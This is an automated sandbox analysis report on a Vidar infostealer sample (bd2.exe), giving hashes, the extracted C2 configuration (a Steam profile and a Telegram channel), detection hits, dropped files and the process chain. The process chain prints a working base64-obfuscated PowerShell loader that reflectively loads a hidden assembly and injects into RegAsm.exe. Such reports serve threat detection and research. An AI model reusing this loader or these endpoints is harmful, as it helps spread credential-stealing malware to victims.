vidar | 55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77

General

Target

bd2.exe
Size

271KB
MD5

8b8db4eaa6f5368eb5f64359c6197b43
SHA1

e9b51842e2d2f39fa06e466ae73af341ddffe1c8
SHA256

55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77
SHA512

4da734da30af148f246f433b71c72677b9f78698424db15eba364233dff183cb998f9be13d2832872829ac545be1e15ff75ceb85fca3fd0784265fd576db0056
SSDEEP

6144:xfL+oq+hnjsVl3dRQTLU+2bRRR17+fYHPfIMDPSBJ7Y/B4aSi3V:xfL5njsVlNuc++Rj17+fYHPfIg4Y54ap

Score

10^/10

vidar 72f54d93118188013f2386eef7e5cc05 stealer

Malware Config

Extracted

Family

vidar

Version

8.6

Botnet

72f54d93118188013f2386eef7e5cc05

C2

https://steamcommunity.com/profiles/76561199658817715

https://t.me/sa9ok

Attributes

profile_id_v2
72f54d93118188013f2386eef7e5cc05
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

Signatures

Detect Vidar Stealer 3 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/4228-77-0x0000000000400000-0x0000000000644000-memory.dmp	family_vidar_v7
behavioral2/memory/4228-81-0x0000000000400000-0x0000000000644000-memory.dmp	family_vidar_v7
behavioral2/memory/4228-83-0x0000000000400000-0x0000000000644000-memory.dmp	family_vidar_v7

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4080 set thread context of 4228 4080 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4600 4228 WerFault.exe RegAsm.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4944 powershell.exe
4944 powershell.exe
4944 powershell.exe
4080 powershell.exe
4080 powershell.exe
4080 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4944 powershell.exe
Token: SeDebugPrivilege 4080 powershell.exe

description	pid	process	target process
PID 4080 set thread context of 4228	4080	powershell.exe	RegAsm.exe

pid	pid_target	process	target process
4600	4228	WerFault.exe	RegAsm.exe

pid	process
4944	powershell.exe
4944	powershell.exe
4944	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4944	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

bd2.exewscript.execmd.exepowershell.exe

description	pid	process	target process
PID 1080 wrote to memory of 4736	1080	bd2.exe	wscript.exe
PID 1080 wrote to memory of 4736	1080	bd2.exe	wscript.exe
PID 1080 wrote to memory of 4736	1080	bd2.exe	wscript.exe
PID 4736 wrote to memory of 3552	4736	wscript.exe	cmd.exe
PID 4736 wrote to memory of 3552	4736	wscript.exe	cmd.exe
PID 4736 wrote to memory of 3552	4736	wscript.exe	cmd.exe
PID 3552 wrote to memory of 4944	3552	cmd.exe	powershell.exe
PID 3552 wrote to memory of 4944	3552	cmd.exe	powershell.exe
PID 3552 wrote to memory of 4944	3552	cmd.exe	powershell.exe
PID 3552 wrote to memory of 4080	3552	cmd.exe	powershell.exe
PID 3552 wrote to memory of 4080	3552	cmd.exe	powershell.exe
PID 3552 wrote to memory of 4080	3552	cmd.exe	powershell.exe
PID 4080 wrote to memory of 4228	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 4228	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 4228	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 4228	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 4228	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 4228	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 4228	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 4228	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 4228	4080	powershell.exe	RegAsm.exe
PID 4080 wrote to memory of 4228	4080	powershell.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\bd2.exe
"C:\Users\Admin\AppData\Local\Temp\bd2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1080

C:\Windows\SysWOW64\wscript.exe
"wscript.exe" "C:\Users\Admin\start.vbs"
2⤵
- Suspicious use of WriteProcessMemory
PID:4736

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
3⤵
- Suspicious use of WriteProcessMemory
PID:3552

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4944

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4080

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
5⤵
PID:4228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 2204
6⤵
- Program crash
PID:4600

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\-temp.ps1
Filesize
1KB

MD5
ee6d2d219d1affb98fb9dc1de51d895e

SHA1
aaa2ceb5f7214c76b8a050a06d257cdc30d6bb48

SHA256
017fb2bedc94f0480d208611df6b42589d407fc4338e1f5dc1e00a9fd52752e0

SHA512
52139b56af32835b93fb8eb93b553325e36654debe5c15e6b61930ffe8027e0ee5eb0998da4c37ec047c052522a022d7103c33d7495eb1a3504cfee1780229bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
66382a4ca6c4dcf75ce41417d44be93e

SHA1
8132cbef1c12f8a89a68a6153ade4286bf130812

SHA256
a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56

SHA512
2bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
17KB

MD5
060f783c1b4cdc10b285a228b95eadb4

SHA1
f4dee4e57394d01c1b9b7f2f880c382ef936cc74

SHA256
640dcdd3b5aa91590c9e90692d20242fa07ad73e2a490e7c02ca86caba9d70df

SHA512
3c24bb515f04d2b2473a3fc40ca6463531543630ce8b15f23b68ea8cce71be21c449bf76f4b10053b8eaf2fbde253ef7fcf09cf663178916f048f2e9887b8fe1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3gnnhduj.yei.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\start.vbs
Filesize
231B

MD5
abe1dd23ab4c11aae54f1898c780c0b5

SHA1
bb2f974b3e0af2baa40920b475582bfd4fb28001

SHA256
89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12

SHA512
e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d

Download Submit
C:\Users\Admin\temp.bat
Filesize
204KB

MD5
72b17467a49b7813856fa604d1d291c8

SHA1
3116d07854d56f0bc505be8b80804a7319208739

SHA256
e24aaddfa2ece0891ad7b3c51779c65bbf95e4fded59fc46fe4fef311e1de3e1

SHA512
38c99cc716097ee7cb642203432ffbd1ef6ce8a0c9b21aa2827962b82456ecb3113fa1edd362aab013737e3bdfb2d0803145fc0caf612054ba47f6454c3a4843

Download Submit
memory/4080-78-0x00000000776D1000-0x00000000777E4000-memory.dmp

Filesize
1.1MB

Download
memory/4080-66-0x0000000008BF0000-0x0000000008C84000-memory.dmp

Filesize
592KB

Download
memory/4080-75-0x00000000066D0000-0x00000000066E0000-memory.dmp

Filesize
64KB

Download
memory/4080-93-0x0000000073950000-0x000000007403E000-memory.dmp

Filesize
6.9MB

Download
memory/4080-74-0x0000000008F90000-0x0000000008FE8000-memory.dmp

Filesize
352KB

Download
memory/4080-68-0x00000000093A0000-0x000000000989E000-memory.dmp

Filesize
5.0MB

Download
memory/4080-67-0x0000000008BA0000-0x0000000008BC2000-memory.dmp

Filesize
136KB

Download
memory/4080-76-0x00000000078D0000-0x00000000078DA000-memory.dmp

Filesize
40KB

Download
memory/4080-46-0x0000000073950000-0x000000007403E000-memory.dmp

Filesize
6.9MB

Download
memory/4080-48-0x00000000066D0000-0x00000000066E0000-memory.dmp

Filesize
64KB

Download
memory/4080-49-0x00000000066D0000-0x00000000066E0000-memory.dmp

Filesize
64KB

Download
memory/4228-83-0x0000000000400000-0x0000000000644000-memory.dmp

Filesize
2.3MB

Download
memory/4228-81-0x0000000000400000-0x0000000000644000-memory.dmp

Filesize
2.3MB

Download
memory/4228-77-0x0000000000400000-0x0000000000644000-memory.dmp

Filesize
2.3MB

Download
memory/4944-15-0x0000000007F50000-0x0000000007FB6000-memory.dmp

Filesize
408KB

Download
memory/4944-43-0x0000000073950000-0x000000007403E000-memory.dmp

Filesize
6.9MB

Download
memory/4944-39-0x0000000005090000-0x00000000050A0000-memory.dmp

Filesize
64KB

Download
memory/4944-35-0x0000000009520000-0x000000000953A000-memory.dmp

Filesize
104KB

Download
memory/4944-34-0x0000000009F80000-0x000000000A5F8000-memory.dmp

Filesize
6.5MB

Download
memory/4944-19-0x00000000087D0000-0x0000000008846000-memory.dmp

Filesize
472KB

Download
memory/4944-18-0x0000000008A30000-0x0000000008A7B000-memory.dmp

Filesize
300KB

Download
memory/4944-17-0x0000000008010000-0x000000000802C000-memory.dmp

Filesize
112KB

Download
memory/4944-16-0x00000000080A0000-0x00000000083F0000-memory.dmp

Filesize
3.3MB

Download
memory/4944-14-0x0000000008030000-0x0000000008096000-memory.dmp

Filesize
408KB

Download
memory/4944-13-0x0000000007740000-0x0000000007762000-memory.dmp

Filesize
136KB

Download
memory/4944-12-0x0000000007820000-0x0000000007E48000-memory.dmp

Filesize
6.2MB

Download
memory/4944-11-0x0000000005090000-0x00000000050A0000-memory.dmp

Filesize
64KB

Download
memory/4944-9-0x0000000005090000-0x00000000050A0000-memory.dmp

Filesize
64KB

Download
memory/4944-10-0x0000000005040000-0x0000000005076000-memory.dmp

Filesize
216KB

Download
memory/4944-8-0x0000000073950000-0x000000007403E000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing